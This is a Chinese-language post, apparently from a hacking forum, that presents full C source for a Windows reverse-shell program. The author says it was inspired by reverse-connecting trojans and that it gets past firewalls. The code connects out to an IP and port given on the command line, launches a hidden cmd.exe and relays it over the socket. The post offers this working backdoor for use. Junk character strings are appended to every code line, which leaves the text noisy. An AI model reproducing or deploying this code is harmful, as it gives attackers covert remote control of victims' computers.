这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 `ro~l_U;A
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/* ============================== ,&$=2<Dx
Rebound port in Windows NT 9qxB/5d_
By wind,2006/7 w]Z*"B&h
===============================*/ E?san;Ku
#include g2p/#\D\J
#include </0@7
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#pragma comment(lib,"wsock32.lib") a!YpSFr
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void OutputShell(); *ZP$dQ
SOCKET sClient; cSy{*K{B
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; d;UP|c>2
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void main(int argc,char **argv) I_xvg
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{ 4A(kM}uRB
WSADATA stWsaData; 1+6)0 OH{
int nRet; 3}{od$3G
SOCKADDR_IN stSaiClient,stSaiServer; Yg@k+
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if(argc != 3) J*s!(J |Q
{ V;$ME4B\{
printf("Useage:\n\rRebound DestIP DestPort\n"); $,R
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return; 6rlafISvO
} h3y0bV[g=
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WSAStartup(MAKEWORD(2,2),&stWsaData); m":lKXpQ
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wc##'u
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stSaiClient.sin_family = AF_INET; K~Lh'6
stSaiClient.sin_port = htons(0); #hPa:I$Oc
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); (bnyT?p%
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) B[k {u#Kp
{ YSi[s*.G
printf("Bind Socket Failed!\n"); YB{hQ<W
return; ht _fbh(l
} P)bS ;w\(Y
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stSaiServer.sin_family = AF_INET; uN1(l}z$
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 1I< <`7'
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 3_k.`s_Z
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) kc#<Gr&Z&
{ }!{9tc$<b
printf("Connect Error!"); ];X[x s
return; F!m/n!YR
} 0c*y~hUVZ
OutputShell(); RzG7Xr=t
} Z9rmlVU6!
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void OutputShell() d$~q
{ R7YLI1ov
char szBuff[1024]; (3kz(6S
SECURITY_ATTRIBUTES stSecurityAttributes; 3(D!]ku~m
OSVERSIONINFO stOsversionInfo; hxcRFqX"
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; z3RD*3b
STARTUPINFO stStartupInfo; U1zcJl^
char *szShell; m]t`;lr<
PROCESS_INFORMATION stProcessInformation; P~Ss\PT
unsigned long lBytesRead; 4LY
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); yhnhORSY;
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); E#'JYz@
stSecurityAttributes.lpSecurityDescriptor = 0; zq ;YE
stSecurityAttributes.bInheritHandle = TRUE; ^~iu),gu
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); .Y!]{c
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); @ 63Uk2{W>
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); aKi&2>c5>
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9I3vW]0x[
stStartupInfo.wShowWindow = SW_HIDE; ,S.<qmf
stStartupInfo.hStdInput = hReadPipe; $
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; |ymw])L
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GetVersionEx(&stOsversionInfo); t[>y=89
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switch(stOsversionInfo.dwPlatformId) fZM)>
{ |l5ol@2*
case 1: W$_}lE$
szShell = "command.com"; <Z^ P8nu
break; [,;h1m ~iX
default: fB.xjp?
szShell = "cmd.exe"; ~zdHJ8tYp
break; Rw8l"`
} 9='a9\((mH
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); FdrH,
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send(sClient,szMsg,77,0); 34k}7k~n
while(1) g5THkxp
{ cBxBIC
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); /]pBcb|<
if(lBytesRead) .Pz( 0Y
{ x\/N09
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 3]Jl\<0
send(sClient,szBuff,lBytesRead,0); VXr'Z
} (N63k1M
else =b\k$WQ_(
{ }6YD5?4
lBytesRead=recv(sClient,szBuff,1024,0); !nX}\lw
if(lBytesRead<=0) break; ci]IH]x
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 6$42-a%b
} ~nul[>z
} !VNLjbee.
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return; kGaK(^w
}